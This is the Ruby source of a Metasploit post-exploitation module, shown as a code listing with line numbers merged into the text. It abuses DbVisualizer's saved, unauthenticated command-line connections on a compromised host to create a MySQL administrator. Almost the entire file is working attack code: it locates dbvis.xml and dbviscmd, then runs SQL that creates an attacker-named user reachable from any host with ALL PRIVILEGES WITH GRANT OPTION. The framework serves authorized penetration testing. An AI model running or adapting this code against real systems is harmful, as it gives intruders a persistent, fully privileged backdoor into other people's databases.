Path: blob/master/modules/post/multi/manage/dbvis_add_db_admin.rb
19850 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Unix89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Multi Manage DbVisualizer Add Db Admin',14'Description' => %q{15Dbvisulaizer offers a command line functionality to execute SQL pre-configured databases16(With GUI). The remote database can be accessed from the command line without the need17to authenticate, which can be abused to create an administrator in the database with the18proper database permissions. Note: This module currently only supports MySQL.19},20'License' => MSF_LICENSE,21'Author' => [ 'David Bloom' ], # Twitter: @philophobia7822'References' => [23['URL', 'http://youtu.be/0LCLRVHX1vA']24],25'Platform' => %w[linux win],26'SessionTypes' => [ 'meterpreter' ],27'Compat' => {28'Meterpreter' => {29'Commands' => %w[30stdapi_fs_stat31stdapi_sys_config_getenv32]33}34},35'Notes' => {36'Stability' => [CRASH_SAFE],37'SideEffects' => [CONFIG_CHANGES],38'Reliability' => []39}40)41)4243register_options(44[45OptString.new('DBALIAS', [true, 'Use dbvis_enum module to find out databases and aliases', 'localhost']),46OptString.new('DBUSERNAME', [true, 'The user you want to add to the remote database', 'msf']),47OptString.new('DBPASSWORD', [true, 'User password to set', 'msfRocks'])48]49)50end5152def run53db_type = exist_and_supported5455return if db_type.blank?5657sql = get_sql(db_type)5859if sql.blank?60print_error("Could not generate SQL. Unsupported database type: #{db_type}")61return62end6364dbvis = find_dbviscmd6566return if dbvis.blank?6768unless dbvis_query(dbvis, sql)69print_error('No luck today, access is probably denied for configured user !? Try in verbose mode to know what happened. ')70return71end7273print_good("Privileged user created ! Try now to connect with user : #{datastore['DBUSERNAME']} and password : #{datastore['DBPASSWORD']}")74end7576# Check if the alias exist and if database is supported by this script77def exist_and_supported78case session.platform79when 'linux'80user = session.shell_command('whoami')81print_status("Current user is #{user}")82if (user =~ /root/)83user_base = '/root/'84else85user_base = "/home/#{user}/"86end87dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml"88when 'windows'89user_profile = session.sys.config.getenv('USERPROFILE')90dbvis_file = "#{user_profile}\\.dbvis\\config70\\dbvis.xml"91end9293unless file?(dbvis_file)94# File not found, we next try with the old config path95print_status("File not found: #{dbvis_file}")96print_status('This could be an older version of dbvis, trying old path')9798case session.platform99when 'linux'100dbvis_file = "#{user_base}.dbvis/config/dbvis.xml"101when 'windows'102dbvis_file = "#{user_profile}\\.dbvis\\config\\dbvis.xml"103end104unless file?(dbvis_file)105print_error("File not found: #{dbvis_file}")106return107end108end109110print_status("Reading : #{dbvis_file}")111raw_xml = ''112begin113raw_xml = read_file(dbvis_file)114rescue EOFError => e115vprint_error(e.message)116end117118if raw_xml.blank?119print_error("Nothing read from file: #{dbvis_file}, file may be empty")120return121end122123db_found = false124alias_found = false125db_type = nil126db_type_ok = false127128# fetch config file129raw_xml.each_line do |line|130if line =~ /<Database id=/131db_found = true132elsif line =~ %r{</Database>}133db_found = false134end135136next unless db_found == true137138# checkthe alias139if (line =~ %r{<Alias>([\S+\s+]+)</Alias>}i) && (datastore['DBALIAS'] == ::Regexp.last_match(1))140alias_found = true141print_good("Alias #{datastore['DBALIAS']} found in dbvis.xml")142end143144if (line =~ %r{<Userid>([\S+\s+]+)</Userid>}i) && alias_found145print_good("Username for this connection : #{::Regexp.last_match(1)}")146end147148# check the type149next unless (line =~ %r{<Type>([\S+\s+]+)</Type>}i) && alias_found150151db_type = ::Regexp.last_match(1)152db_type_ok = check_db_type(db_type)153if db_type_ok154print_good("Database #{db_type} is supported ")155else156print_error("Database #{db_type} is not supported (yet)")157db_type = nil158end159alias_found = false160end161162if db_type.blank?163print_error('Database alias not found in dbvis.xml')164end165166return db_type # That is empty if DB is not supported167end168169# Find path to dbviscmd.sh|bat170def find_dbviscmd171case session.platform172when 'linux'173dbvis = session.shell_command('locate dbviscmd.sh').chomp174if dbvis.blank?175print_error('dbviscmd.sh not found')176return nil177end178print_good("Dbviscmd found : #{dbvis}")179when 'windows'180# Find program files181progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')182progfiles_x86 = progfiles_env['ProgramFiles(X86)']183if !progfiles_x86.blank? && progfiles_x86 !~ (/%ProgramFiles\(X86\)%/)184program_files = progfiles_x86 # x64185else186program_files = progfiles_env['ProgramFiles'] # x86187end188dirs = []189session.fs.dir.foreach(program_files) do |d|190dirs << d191end192dbvis_home_dir = nil193# Browse program content to find a possible dbvis home194dirs.each do |d|195if (d =~ /DbVisualizer[\S+\s+]+/i)196dbvis_home_dir = d197end198end199if dbvis_home_dir.blank?200print_error('Dbvis home not found, maybe uninstalled ?')201return nil202end203dbvis = "#{program_files}\\#{dbvis_home_dir}\\dbviscmd.bat"204unless file?(dbvis)205print_error('dbviscmd.bat not found')206return nil207end208print_good("Dbviscmd found : #{dbvis}")209end210return dbvis211end212213# Query execution method214def dbvis_query(dbvis, sql)215unless file?(dbvis)216print_error("#{dbvis} is not a file")217return false218end219220f = session.fs.file.stat(dbvis)221if (f.uid == Process.euid) || Process.groups.include?(f.gid)222print_status('Trying to execute evil sql, it can take time ...')223args = "-connection #{datastore['DBALIAS']} -sql \"#{sql}\""224dbvis = "\"#{dbvis}\""225cmd = "#{dbvis} #{args}"226resp = cmd_exec(cmd)227vprint_line228vprint_status(resp.to_s)229if resp =~ /denied|failed/i230return false231end232else233print_error("User doesn't have enough rights to execute dbviscmd, aborting")234return false235end236237true238end239240# Database dependent part241242# Check if db type is supported by this script243def check_db_type(type)244return type.to_s =~ /mysql/i245end246247# Build proper sql248def get_sql(db_type)249return unless db_type =~ /mysql/i250251sql = "CREATE USER '#{datastore['DBUSERNAME']}'@'localhost' IDENTIFIED BY '#{datastore['DBPASSWORD']}';"252sql << "GRANT ALL PRIVILEGES ON *.* TO '#{datastore['DBUSERNAME']}'@'localhost' WITH GRANT OPTION;"253sql << "CREATE USER '#{datastore['DBUSERNAME']}'@'%' IDENTIFIED BY '#{datastore['DBPASSWORD']}';"254sql << "GRANT ALL PRIVILEGES ON *.* TO '#{datastore['DBUSERNAME']}'@'%' WITH GRANT OPTION;"255256sql257end258end259260261